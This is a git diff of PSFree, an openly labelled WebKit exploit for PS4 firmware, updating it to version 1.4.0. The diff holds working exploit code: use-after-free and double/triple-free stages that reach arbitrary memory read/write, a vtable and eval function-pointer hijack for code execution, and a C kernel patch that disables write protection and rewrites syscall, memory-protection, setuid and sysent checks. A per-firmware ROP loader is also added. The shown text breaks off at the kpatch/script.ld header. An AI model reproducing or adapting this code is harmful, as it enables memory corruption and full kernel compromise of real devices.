diff --git a/about.html b/about.html
index 97d6a76..b7f9779 100644
--- a/about.html
+++ b/about.html
@@ -1,4 +1,4 @@
-<!-- Copyright (C) 2023 anonymous
+<!-- Copyright (C) 2023-2024 anonymous
 
 This file is part of PSFree.
 
@@ -23,6 +23,7 @@ along with this program.  If not, see <https://www.gnu.org/licenses/>.
     <body>
     PSFree is a WebKit exploit for PS4 Firmware 8.03.<br>
     PSFree is free software. See <a href='./COPYING'>COPYING</a> for the copyleft information.<br>
+    PSFree's license is GNU-AGPL-3.0-or-later.<br>
     Here is the source code of this program:<br>
     <br>
     HTML files:<br>
@@ -34,55 +35,92 @@ along with this program.  If not, see <https://www.gnu.org/licenses/>.
             <td><a href="./alert.mjs">alert.mjs</a></td>
             <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
             <td><a href="./alert.mjs" download>download</a></td>
-        </tr>        <tr>
+        </tr>
+        <tr>
             <td><a href="./config.mjs">config.mjs</a></td>
             <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
             <td><a href="./config.mjs" download>download</a></td>
-        </tr>        <tr>
-            <td><a href="./run.mjs">run.mjs</a></td>
+        </tr>
+        <tr>
+            <td><a href="./code_exec_example.mjs">code_exec_example.mjs</a></td>
             <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
-            <td><a href="./run.mjs" download>download</a></td>
-        </tr>        <tr>
-            <td><a href="./rop.mjs">rop.mjs</a></td>
-            <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
-            <td><a href="./rop.mjs" download>download</a></td>
-        </tr>        <tr>
+            <td><a href="./code_exec_example.mjs" download>download</a></td>
+        </tr>
+        <tr>
             <td><a href="./exploit.mjs">exploit.mjs</a></td>
             <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
             <td><a href="./exploit.mjs" download>download</a></td>
-        </tr>        <tr>
+        </tr>
+        <tr>
+            <td><a href="./send.mjs">send.mjs</a></td>
+            <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
+            <td><a href="./send.mjs" download>download</a></td>
+        </tr>
+        <tr>
+            <td><a href="./rop/800.mjs">rop/800.mjs</a></td>
+            <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
+            <td><a href="./rop/800.mjs" download>download</a></td>
+        </tr>
+        <tr>
+            <td><a href="./rop/960.mjs">rop/960.mjs</a></td>
+            <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
+            <td><a href="./rop/960.mjs" download>download</a></td>
+        </tr>
+        <tr>
+            <td><a href="./rop/850.mjs">rop/850.mjs</a></td>
+            <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
+            <td><a href="./rop/850.mjs" download>download</a></td>
+        </tr>
+        <tr>
+            <td><a href="./rop/900.mjs">rop/900.mjs</a></td>
+            <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
+            <td><a href="./rop/900.mjs" download>download</a></td>
+        </tr>
+        <tr>
             <td><a href="./module/chain.mjs">module/chain.mjs</a></td>
             <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
             <td><a href="./module/chain.mjs" download>download</a></td>
-        </tr>        <tr>
+        </tr>
+        <tr>
             <td><a href="./module/int64.mjs">module/int64.mjs</a></td>
             <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
             <td><a href="./module/int64.mjs" download>download</a></td>
-        </tr>        <tr>
+        </tr>
+        <tr>
             <td><a href="./module/constants.mjs">module/constants.mjs</a></td>
             <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
             <td><a href="./module/constants.mjs" download>download</a></td>
-        </tr>        <tr>
+        </tr>
+        <tr>
             <td><a href="./module/memtools.mjs">module/memtools.mjs</a></td>
             <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
             <td><a href="./module/memtools.mjs" download>download</a></td>
-        </tr>        <tr>
+        </tr>
+        <tr>
             <td><a href="./module/utils.mjs">module/utils.mjs</a></td>
             <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
             <td><a href="./module/utils.mjs" download>download</a></td>
-        </tr>        <tr>
+        </tr>
+        <tr>
             <td><a href="./module/rw.mjs">module/rw.mjs</a></td>
             <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
             <td><a href="./module/rw.mjs" download>download</a></td>
-        </tr>        <tr>
+        </tr>
+        <tr>
             <td><a href="./module/offset.mjs">module/offset.mjs</a></td>
             <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
             <td><a href="./module/offset.mjs" download>download</a></td>
-        </tr>        <tr>
+        </tr>
+        <tr>
             <td><a href="./module/mem.mjs">module/mem.mjs</a></td>
             <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
             <td><a href="./module/mem.mjs" download>download</a></td>
         </tr>
     </table>
+    kpatch/ files:<br>
+    <a href="./kpatch/script.ld">kpatch/script.ld</a><br>
+    <a href="./kpatch/Makefile">kpatch/Makefile</a><br>
+    <a href="./kpatch/80x.c">kpatch/80x.c</a><br>
+    <a href="./kpatch/types.h">kpatch/types.h</a><br>
     </body>
 </html>
diff --git a/alert.mjs b/alert.mjs
index 348a541..7b65567 100644
--- a/alert.mjs
+++ b/alert.mjs
@@ -1,4 +1,4 @@
-/* Copyright (C) 2023 anonymous
+/* Copyright (C) 2023-2024 anonymous
 
 This file is part of PSFree.
 
diff --git a/code_exec_example.mjs b/code_exec_example.mjs
new file mode 100644
index 0000000..0d0d3ed
--- /dev/null
+++ b/code_exec_example.mjs
@@ -0,0 +1,117 @@
+/* Copyright (C) 2024 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program.  If not, see <https://www.gnu.org/licenses/>.  */
+
+import * as config from './config.mjs';
+
+import { Int } from './module/int64.mjs';
+import { debug_log } from './module/utils.mjs';
+import { Addr, mem } from './module/mem.mjs';
+import { make_buffer } from './module/memtools.mjs';
+
+import * as rw from './module/rw.mjs';
+import * as o from './module/offset.mjs';
+
+const origin = window.origin;
+const port = '8000';
+const url = `${origin}:${port}`;
+
+const offset_scrollLeft = (() => {
+    switch (config.target) {
+        case config.ps4_8_03: {
+            return 0x1c8;
+        }
+        default: {
+            throw RangeError(`invalid config.target: ${config.target}`);
+        }
+    }
+})();
+
+const textarea = document.createElement('textarea');
+
+// JSObject
+let addr = mem.addrof(textarea);
+// WebCore::HTMLTextAreaElement
+addr = addr.readp(0x18);
+const webcore_textarea = addr;
+// vtable for WebCore::HTMLTextAreaElement
+addr = addr.readp(0);
+const original_vtable = addr;
+
+debug_log(`vtable: ${addr}`);
+const vtable = make_buffer(addr, 0x400);
+const fake_vtable = new Uint8Array(vtable);
+const fake_vtable_buffer = (
+    mem.addrof(fake_vtable).read64(o.view_m_vector)
+);
+
+const scrollLeft = rw.read64(fake_vtable, offset_scrollLeft);
+const scrollLeft_size = (() => {
+    switch (config.target) {
+        case config.ps4_8_03: {
+            return 0xd7;
+        }
+        default: {
+            throw RangeError(`invalid config.target: ${config.target}`);
+        }
+    }
+})();
+
+ function main() {
+    const offset_vtable = 0;
+    debug_log(`${offset_scrollLeft.toString(16)}: ${scrollLeft}`);
+    webcore_textarea.write64(offset_vtable, fake_vtable_buffer);
+    // jump to end of function
+    rw.write64(
+        fake_vtable,
+        offset_scrollLeft,
+        scrollLeft.add(scrollLeft_size)
+    );
+    // textarea.scrollLeft will usually return a 0, since we jumped to end of
+    // WebCore::Element::scrollLeft() immediately, the return value is usually
+    // not 0.
+    debug_log(`scroll: ${textarea.scrollLeft}`);
+    webcore_textarea.write64(offset_vtable, original_vtable);
+}
+
+ function rop2() {
+    // eval() is a built-in function
+    // We could use any built-in function, e.g. parseInt(), parseFloat(),
+    // Date.prototype.getTime(), etc. Search for "host" functions at
+    // WebKit/Source/JavaScriptCore/runtime at PS4 8.03.
+    const func = eval;
+    // JSC::JSFunction
+    const js_function = mem.addrof(func);
+    // JSFunction::m_executable
+    // Since the function is built-in, m_executable is of type
+    // JSC::NativeExecutable.
+    const exec = js_function.readp(0x18);
+    // NativeExecutable::m_function, pointer to the implementation of a
+    // built-in function
+    const offset_m_function = 0x38;
+    exec.write64(
+        offset_m_function,
+        scrollLeft.add(scrollLeft_size) // jump to a ret instruction
+    );
+    debug_log(scrollLeft.add(scrollLeft_size));
+    debug_log(exec.read64(offset_m_function));
+    // must not evaluate since we changed m_function
+    func('alert("hi")');
+    debug_log('returned successfully');
+}
+
+main();
+rop2();
diff --git a/config.mjs b/config.mjs
index 17cb9c1..50b6715 100644
--- a/config.mjs
+++ b/config.mjs
@@ -71,7 +71,7 @@ function DetectFirmwareVersion()
         return ps4_6_50;
     }
 
-    if (UA == "7.01" || UA == "7.02" || UA == "7.50" || UA == "7.51" || UA == "7.55" || UA == "8.00" || UA == "8.01" || UA == "8.03" || UA == "8.50")
+    if (UA == "7.01" || UA == "7.02" || UA == "7.50" || UA == "7.51" || UA == "7.55" || UA == "8.00" || UA == "8.01" || UA == "8.03" || UA == "8.50" || UA == "8.51")
     {
         return ps4_8_03;
     }
diff --git a/exploit.mjs b/exploit.mjs
index 6173e0c..240f6a3 100644
--- a/exploit.mjs
+++ b/exploit.mjs
@@ -1,4 +1,4 @@
-/* Copyright (C) 2023 anonymous
+/* Copyright (C) 2023-2024 anonymous
 
 This file is part of PSFree.
 
@@ -28,7 +28,7 @@ import {
 import * as o from './module/offset.mjs';
 
 import { Int } from './module/int64.mjs';
-import { Memory, Memory2 } from './module/mem.mjs';
+import { Memory } from './module/mem.mjs';
 
 import {
     die,
@@ -81,11 +81,9 @@ let view_leak_arr = [];
 // 3rd element is the address of the buffer of the JSArrayBufferView
 let jsview = [];
 
-// objects for saving values
+// object for saving values
 let s1 = {views : []};
-let s2 = {views : []};
 let view_leak = null;
-let view_rw = null;
 
 let input = document.body.appendChild(document.createElement("input"));
 let foo = document.body.appendChild(document.createElement("a"));
@@ -221,7 +219,7 @@ async function setup_ar(save) {
     let total_sleep = 0;
     const num_sleep = 8;
     // Don't sleep for 9.xx. Tests show it is slower. This check and the sleep
-    // before double_free() make the exploit fast for 9.xx.
+    // before double_free() make setup_ar() fast for 9.xx.
     while (true && config.target !== config.ps4_9_00) {
         await sleep(num_sleep);
         total_sleep += num_sleep;
@@ -371,19 +369,6 @@ async function double_free(save) {
     write32(view, o.strimpl_strlen, original_strlen);
     debug_log('contents of JSArrayBufferView');
     debug_log(jsview);
-
-    /*
-    // check if the JSArrayBufferView is allocated below its buffer
-    let index = view_leak.sub(jsview[2]);
-    debug_log('index: ' + index);
-    // check sign bit
-    if (index.high() >>> 31 === 1) {
-        die('view not below buffer');
-    }
-    if (index.high() !== 0) {
-        die('index not reachable by relative r/w');
-    }
-    */
 }
 
 function find_leaked_view(rstr, view_rstr, view_m_vector, view_arr) {
@@ -462,6 +447,19 @@ class Reader {
 //
 // Setup to make deserialization create an ArrayBuffer with its buffer address
 // pointing to a JSArrayBufferView (worker).
+//
+// TypedArrays (JSArrayBufferView) created via "new TypedArray(x)" where x <=
+// 1000 (fastSizeLimit) have ther buffers allocated on the JavaScript heap
+// (m_mode = FastTypedArray). Requesting the buffer property ("view.buffer")
+// (calls possiblySharedBuffer()) of such a view will allocate a new buffer on
+// the fastMalloc heap, the contents of the old one will be copied. This will
+// change the m_vector field, so care must be taken if you cache the result of
+// get_view_vector(), you must call it again to get the updated field.
+//
+// See enum TypedArrayMode from
+// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h and
+// possiblySharedBuffer() from
+// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h at PS4 8.03.
 function setup_ssv_data(reader) {
     const r = reader;
     // sizeof WTF::Vector<T>
@@ -470,8 +468,8 @@ function setup_ssv_data(reader) {
     const size_abc = config.target === config.ps4_9_00 ? 0x18 : 0x20;
 
     // WTF::Vector<unsigned char>
-    const m_data = new Uint8Array(new ArrayBuffer(size_vector));
-    const data = new Uint8Array(new ArrayBuffer(9));
+    const m_data = new Uint8Array(size_vector);
+    const data = new Uint8Array(9);
 
     // m_buffer
     write64(m_data, 0, r.get_view_vector(data));
@@ -481,7 +479,7 @@ function setup_ssv_data(reader) {
     write32(m_data, 0xc, data.length);
 
     // 6 is the serialization format version number for ps4 6.00. The format
-    // is backwards compatible and using a value less the current version
+    // is backwards compatible and using a value less than the current version
     // number used by a specific WebKit version is considered valid.
     //
     // See CloneDeserializer::isValid() from
@@ -493,14 +491,21 @@ function setup_ssv_data(reader) {
     write32(data, 5, 0);
 
     // WTF::Vector<JSC::ArrayBufferContents>
-    const abc_vector = new Uint8Array(new ArrayBuffer(size_vector));
+    const abc_vector = new Uint8Array(size_vector);
     // JSC::ArrayBufferContents
-    const abc = new Uint8Array(new ArrayBuffer(size_abc));
+    const abc = new Uint8Array(size_abc);
 
     write64(abc_vector, 0, r.get_view_vector(abc));
     write32(abc_vector, 8, 1);
     write32(abc_vector, 0xc, 1);
 
+    // m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap,
+    // unlike FastTypedArray, where the buffer is managed by the GC. This
+    // prevents random crashes.
+    //
+    // See JSGenericTypedArrayView<Adaptor>::visitChildren() from
+    // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at
+    // PS4 8.03.
     const worker = new Uint8Array(new ArrayBuffer(1));
 
     if (config.target !== config.ps4_9_00) {
@@ -515,10 +520,12 @@ function setup_ssv_data(reader) {
     } else {
         // m_data
         write64(abc, 0, r.addrof(worker));
-        // m_destructor
-        write64(abc, 8, Int.Zero);
-        // m_shared
-        write64(abc, 0xe, Int.Zero);
+        // m_destructor (48 bits)
+        write32(abc, 8, 0);
+        write16(abc, 0xc, 0);
+        // m_shared (48 bits)
+        write32(abc, 0xe, 0);
+        write16(abc, 0x12, 0);
         // m_sizeInBytes
         write32(abc, 0x14, o.size_view);
     }
@@ -537,7 +544,7 @@ function setup_ssv_data(reader) {
 }
 
 // get arbitrary read/write
-async function setup_arw2(save, ssv_data) {
+async function setup_arw(save, ssv_data) {
     const num_msg = 1000;
     const view = save.ab;
     let msgs = [];
@@ -548,7 +555,8 @@ async function setup_arw2(save, ssv_data) {
     addEventListener('message', onmessage);
 
     // Free the StringImpl so we can spray SerializedScriptValues over the
-    // buffer of view.
+    // buffer of the view. The StringImpl is safe to free since we fixed it up
+    // earlier.
     rstr = null;
     while (true) {
         for (let i = 0; i < num_msg; i++) {
@@ -572,6 +580,12 @@ async function setup_arw2(save, ssv_data) {
         debug_log(read64(view, i));
     }
 
+    // save SerializedScriptValue
+    const copy = [];
+    for (let i = 0; i < view.length; i++) {
+        copy.push(view[i]);
+    }
+
     const {m_data, m_arrayBufferContentsArray, worker, nogc} = ssv_data;
     write64(view, 8, read64(m_data, 0));
     write64(view, 0x10, read64(m_data, 8));
@@ -579,7 +593,6 @@ async function setup_arw2(save, ssv_data) {
 
     for (const msg of msgs) {
         if (msg.data !== '') {
-            alert('achieved arbitrary r/w');
             debug_log('achieved arbitrary r/w');
 
             const u = new Uint8Array(msg.data);
@@ -588,13 +601,25 @@ async function setup_arw2(save, ssv_data) {
                 debug_log(read64(u, i));
             }
 
-            const mem = new Memory2(u, worker);
+            const mem = new Memory(u, worker);
 
-            // safe to zero out the contents, the destructor will ignore fields
-            // that are zero/NULL
-            view.set(new Uint8Array(view.buffer));
-            // set refcount to 1 to have it not leak memory
-            view[0] = 1;
+            // restore SerializedScriptValue
+            view.set(copy);
+
+            // cleanup
+            view_leak_arr = null;
+            view_leak = null;
+            jsview = null;
+            input = null;
+            foo = null;
+
+            // Before s1.ab gets garbage collected and its underlying buffer
+            // on the fastMalloc heap is freed, another object could be
+            // allocated in the meantime. That object could be freed
+            // prematurely once the GC occurs. This could corrupt the object
+            // if another object is allocated in the same memory area.
+            //
+            // So we will keep s1 alive.
 
             return;
         }
@@ -603,8 +628,8 @@ async function setup_arw2(save, ssv_data) {
 }
 
 // Don't create additional references to rstr, use the global variable. This
-// is to make dropping all references to it easy (change the value of the
-// global variable).
+// is to make dropping all its references easy (change the value of the global
+// variable).
 async function triple_free(
     save,
     // contents of the leaked JSArrayBufferView
@@ -616,158 +641,9 @@ async function triple_free(
     let r = new Reader(rstr, save.ab, leaker, leaked_view_addr);
     const ssv_data = setup_ssv_data(r);
 
-    // r contains a reference to rstr, drop it for setup_arw2()
+    // r contains a reference to rstr, drop it for setup_arw()
     r = null;
-    await setup_arw2(save, ssv_data);
-}
-
-// for ps4 and ps5
-async function decrement(save) {
-    debug_log('try decrement');
-    const offset_num_loop =
-        config.target === config.ps4_6_00 ? 0x54 : 0x44
-    ;
-    const offset_target_addr =
-        config.target === config.ps4_6_00 ? 0x48 : 0x38
-    ;
-    const view = save.ab;
-    const num_loop_str = offset_num_loop.toString(16);
-    const target_addr_str = offset_target_addr.toString(16);
-    // any of the buffers since they all share the same underlying memory
-    let trick_buffer = view_leak_arr[0];
-    view[0] = 1; // refcount
-    for (let i = 1; i < view.length; i++) {
-        view[i] = 0; // unneeded fields to NULL
-    }
-    // setup to trick the destructor
-    write32(view, offset_num_loop, 1);
-    write64(view, offset_target_addr, jsview[2]);
-    debug_log(`0x${num_loop_str}: ${read32(view, offset_num_loop)}`);
-    debug_log(`0x${target_addr_str}: ${read64(view, offset_target_addr)}`);
-    debug_log(view);
-
-    let target_addr =
-        view_leak.add(
-            o.view_m_length
-            + 1 // to misalign the decrement
-        );
-    write64(trick_buffer, 0, target_addr);
-    debug_log('target addr: ' + target_addr);
-    debug_log('check: readout addr in buffer: ' + read64(trick_buffer, 0));
-
-    delete save.views;
-    delete save.pop;
-    // we lowered it from num_gc since we are crashing on the ps4
-    gc(20);
-    debug_log('decrement() gc done');
-
-    // Extra sleep if the object hasn't been collected yet, this is to allow
-    // the garbage collector to preempt us. Keeping the call to gc() lowers the
-    // average total sleep time.
-    let total_sleep = 0;
-    const num_sleep = 8;
-    while (true) {
-        await sleep(num_sleep);
-        total_sleep += num_sleep;
-
-        if (view[0] !== 1) {
-            break;
-        }
-    }
-    debug_log(`total_sleep: ${total_sleep}`);
-    // log to check if the garbage collector did collect PopStateEvent
-    // must not log "1, 0, 0, 0, ..."
-    debug_log(view);
-
-    let found = false;
-    for (let i = 0; i < view_leak_arr.length; i++) {
-        let view = view_leak_arr[i];
-        if (view.length > 0xff) {
-            debug_log('achieved relative r/w');
-            debug_log('view i: ' + i);
-            debug_log('view len: ' + view.length);
-            found = true;
-            view_rw = view_leak_arr[i];
-            break;
-        }
-    }
-    if (!found) {
-        die('no relative r/w');
-    }
-}
-
-// get arbitrary read/write
-function setup_arw() {
-    let view_worker_addr = null;
-    let view_worker = null;
-    let worker_i = null;
-    let index = view_leak.sub(jsview[2]);
-    index = index.low();
-
-    // Is the next JSObject a JSArrayBufferView? Otherwise we target the previous JSObject
-    if (view_rw[index + o.size_view + o.view_m_length] === buffer_len) {
-        view_worker_addr = view_leak.add(o.size_view);
-        worker_i = index + o.size_view;
-    } else {
-        view_worker_addr = view_leak.sub(o.size_view);
-        worker_i = index - o.size_view;
-    }
-    debug_log('worker i: ' + worker_i);
-
-    // Overiding the length of one the JSArrayBufferViews with a known value
-    // ensure known value != buffer_len
-    view_rw[worker_i + o.view_m_length] = 0xff;
-
-    // Looking for the worker JSArrayBufferView
-    let found = false;
-    for (let i = 0; i < view_leak_arr.length; i++) {
-        if (view_leak_arr[i].length === 0xff) {
-            alert('achieved arbitrary r/w');
-            debug_log('achieved arbitrary r/w');
-            view_worker = view_leak_arr[i];
-            found = true;
-            break;
-        }
-    }
-    if (!found) {
-        die('no arbitrary r/w');
-    }
-
-    const mem = new Memory(
-        view_rw, view_leak,
-        view_worker, view_worker_addr,
-        worker_i
-    );
-
-    // cleanup
-    view_leak_arr = null;
-    view_rw = null;
-    view_leak = null;
-    // during the decrement we corrupted m_mode as well, we have the original
-    // m_mode here at jsview but we won't bother in fixing it since we are not
-    // crashing anyway
-    jsview = null;
-    // the StringImpl is safe to free since we fixed it up earlier
-    rstr = null;
-    input = null;
-    foo = null;
-
-    // After rstrs's death and the decrement, the JSArrayBufferViews at s1 and
-    // s2 will no longer have any object overlaid on their backing buffers but
-    // it is still freed. Meaning we can control any object that might be
-    // allocated there again. But these views are no longer needed as we
-    // already have an arbitrary read/write primitive. It might be in our
-    // interest to just free them as well.
-    //
-    // But since we have not filled the backing buffers with any object, the
-    // browser might have already filled them with important objects. Freeing
-    // the views will lead them to freeing their backing buffers since they
-    // still think they need to and thus this will free any overlaid objects.
-    //
-    // So we will not free them just to be sure we won't free any important
-    // objects by accident and lead to a crash.
-    //s1 = null;
-    //s2 = null;
+    await setup_arw(save, ssv_data);
 }
 
 function pop(event, save) {
@@ -798,6 +674,71 @@ async function get_ready() {
     });
 }
 
+    //load per firmware Rop Test
+    function ExecRopByFw()
+{
+    var UA = navigator.userAgent.substring(navigator.userAgent.indexOf('5.0 (') + 19, navigator.userAgent.indexOf(') Apple')).replace("PlayStation 4/","");
+    
+    if (UA == "6.00" || UA == "6.02" || UA == "6.10" || UA == "6.20")
+    {
+        alert("No ROP to test");
+    }
+
+    if (UA == "6.50" || UA == "6.70" || UA == "6.71" || UA == "6.72")
+    {
+        alert("No ROP to test");
+    }
+
+    if (UA == "7.01" || UA == "7.02" || UA == "7.50" || UA == "7.51" || UA == "7.55" ||  UA == "8.01" ||  UA == "8.51")
+    {
+        alert("No ROP to test");
+    }
+
+    if (UA == "8.00")
+    {
+        import('./rop/800.mjs');
+    }
+
+    if (UA == "8.03")
+    {
+        import('./code_exec_example.mjs');
+    }
+
+    if (UA == "8.50")
+    {
+        import('./rop/850.mjs');
+    }
+    
+    //on 9.00 Fw deection changed to laystation insead of regular Playstation
+    UA = navigator.userAgent.substring(navigator.userAgent.indexOf('5.0 (') + 19, navigator.userAgent.indexOf(') Apple')).replace("layStation 4/","");
+
+    if (UA == "9.00")
+    {
+        import('./rop/900.mjs');
+    }
+
+    if (UA == "9.03" || UA == "9.04" || UA == "9.50")
+    {
+        alert("No ROP to test");
+    }
+
+    if (UA == "9.60")
+    {
+        import('./rop/960.mjs');
+    }
+
+    //get user agent for PS5 (taken from PS5 Specter Exploit Host)
+    const supportedFirmwares = ["1.00","1.01","1.02","1.05","1.12","1.14","2.00","2.10","2.20","2.25","2.26","2.30","2.50","2.70","3.00","3.10","3.20","3.21","4.00", "4.02", "4.03", "4.50", "4.51","5.00","5.02","5.10","5.50"];
+    const fw_idx = navigator.userAgent.indexOf('PlayStation; PlayStation 5/') + 27;
+    const fw_str = navigator.userAgent.substring(fw_idx, fw_idx + 4);
+
+    if (supportedFirmwares.includes(fw_str)) 
+    {
+        alert("No ROP to test");
+    }
+
+}
+
 async function run() {
     debug_log('stage: readying');
     await get_ready();
@@ -809,7 +750,7 @@ async function run() {
     // than if it were to happen during the second ssv smashing
     // on the ps4
     debug_log('stage: double free');
-    // * keeps double_free()'s total sleep even lower
+    // * keeps setup_ar()'s total sleep even lower
     // * also helps the garbage collector scheduling for 9.xx
     await sleep(0);
     await double_free(s1);
@@ -817,27 +758,11 @@ async function run() {
     debug_log('stage: triple free');
     await triple_free(s1, jsview, view_leak_arr, view_leak);
 
-    /*
-    // This extra sleep is needed before UaF 2, since for some reason the
-    // garbage collector can't immediately collect the objects near state1.
-    // These objects are probably just the usual temporaries used by the JS
-    // virtual machine. Essentially there is a timing issue on when is the GC
-    // allowed to collect?
-    await sleep(0x800);
-
-    debug_log('stage: UaF 2');
-    await use_after_free(pop, s2);
-
-    debug_log('stage: decrement');
-    await decrement(s2);
-
-    debug_log('stage: setup arw');
-    setup_arw();
-
     clear_log();
+    
     // path to your script that will use the exploit
-    import('./code.mjs');
-    */
+    ExecRopByFw();
+
 }
 
 run();
diff --git a/index.html b/index.html
index 3490de7..0d4dd1d 100644
--- a/index.html
+++ b/index.html
@@ -18,7 +18,7 @@ along with this program.  If not, see <https://www.gnu.org/licenses/>.
 <html>
     <head>
         <meta charset='utf-8'>
-        <title>PSFree Beta 3 version</title>
+        <title>PSFree 1.4.0</title>
     </head>
 
     <body>
diff --git a/kpatch/80x.c b/kpatch/80x.c
new file mode 100644
index 0000000..d510767
--- /dev/null
+++ b/kpatch/80x.c
@@ -0,0 +1,137 @@
+/* Copyright (C) 2024 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program.  If not, see <https://www.gnu.org/licenses/>.  */
+
+#include <stddef.h>
+
+#include "types.h"
+
+void enable_cr0_wp(void) {
+    asm(
+        "mov rax, cr0\n"
+        "or rax, 0x10000\n"
+        "mov cr0, rax\n"
+    );
+}
+
+void disable_cr0_wp(void) {
+    asm(
+        "mov rax, cr0\n"
+        "and rax, ~0x10000\n"
+        "mov cr0, rax\n"
+    );
+}
+
+inline void write8(void *addr, size_t offset, u8 value) {
+    *(u8 *)(addr + offset) = value;
+}
+
+inline void write16(void *addr, size_t offset, u16 value) {
+    *(u16 *)(addr + offset) = value;
+}
+
+inline void write32(void *addr, size_t offset, u32 value) {
+    *(u32 *)(addr + offset) = value;
+}
+
+inline void write64(void *addr, size_t offset, u64 value) {
+    *(u64 *)(addr + offset) = value;
+}
+
+// Args:
+//   kbase: kernel base address
+//   res:
+//     Needed value to return (as to not crash) if the caller of the hijacked
+//     function is expecting some valid value.
+//   error:
+//     Address to return an error. 0 for success.
+__attribute__((section (".text.start")))
+u64 kpatch(void *kbase, u64 res, u64 *error) {
+    if (kbase == NULL) {
+        if (error != NULL) {
+            *error = -1;
+        }
+
+        goto end;
+    }
+
+    disable_cr0_wp();
+
+    // patch amd64_syscall() to allow calling syscalls everywhere
+    write32(kbase, 0x490, 0);
+    write16(kbase, 0x4b5, 0x9090);
+    write16(kbase, 0x4b9, 0x9090);
+    write8(kbase, 0x4c2, 0xeb);
+
+    // patch sys_mmap() to allow rwx mappings
+
+    // patch maximum cpu mem protection: 0x33 -> 0x37
+    // the ps4 added custom protections for their gpu memory accesses
+    // GPU R: 0x10, W: 0x20, X:, 0x40
+    // that's why you see other bits set
+    write8(kbase, 0xfd03a, 0x37);
+    write8(kbase, 0xfd03d, 0x37);
+
+    // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
+    write32(kbase, 0x3ec68d, 0);
+
+    // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
+
+    // patch to alway jump regardless of the check before
+    write8(kbase, 0x31953f, 0xeb);
+    // patch called function to always return 0
+    write32(kbase, 0x951c0, 0xC3C03148);
+
+    // patch sys_setuid() to allow freely changing the effective user ID
+
+    // patch to alway jump regardless of the check before
+    write8(kbase, 0x34d696, 0xeb);
+
+    // overwrite the entry of syscall 11 (unimplemented) in sysent
+    //
+    // struct args {
+    //     u64 rdi;
+    //     u64 rsi;
+    //     u64 rdx;
+    //     u64 rdx;
+    //     u64 r8;
+    //     u64 r9;
+    // }
+    //
+    // jumps to uap->rdi
+    // u64 sys_kexec(struct thread td, struct args *uap)
+
+    // sysent[11]
+    const size_t offset_sysent_11 = 0x10fc6e0;
+    // .sy_narg = 2
+    write32(kbase, offset_sysent_11, 2);
+    // .sy_call = gadgets['jmp qword ptr [rsi]']
+    write64(kbase, offset_sysent_11 + 8, kbase + 0xe629c);
+    // .sy_thrcnt = SY_THR_STATIC
+    write32(kbase, offset_sysent_11 + 0x2c, 1);
+
+    // restore socketops.fo_chmod
+    // it was used to initially to perform kernel code execution
+    write64(kbase, 0x1a76060, kbase + 0x3d0a60);
+
+    enable_cr0_wp();
+
+    if (error != NULL) {
+        *error = 0;
+    }
+end:
+    return res;
+}
diff --git a/kpatch/Makefile b/kpatch/Makefile
new file mode 100644
index 0000000..c985dae
--- /dev/null
+++ b/kpatch/Makefile
@@ -0,0 +1,16 @@
+TARGET = 80x
+ENTRY = 0x900000000
+
+.PHONY: all
+all: ${TARGET}.elf
+
+OPTS = -O -Wno-int-conversion -fno-strict-aliasing -masm=intel -nostartfiles
+OPTS += -fwrapv -no-pie -Ttext=${ENTRY} -Tscript.ld -Wl,--build-id=none
+OPTS += -fwrapv-pointer
+
+${TARGET}.elf: ${TARGET}.c types.h
+	gcc ${TARGET}.c -o ${TARGET}.elf ${OPTS}
+
+.PHONY: clean
+clean:
+	-rm -f *.elf
diff --git a/kpatch/script.ld b/kpatch/script.ld
new file mode 100644
index 0000000..6c1923c
--- /dev/null
+++ b/kpatch/script.ld
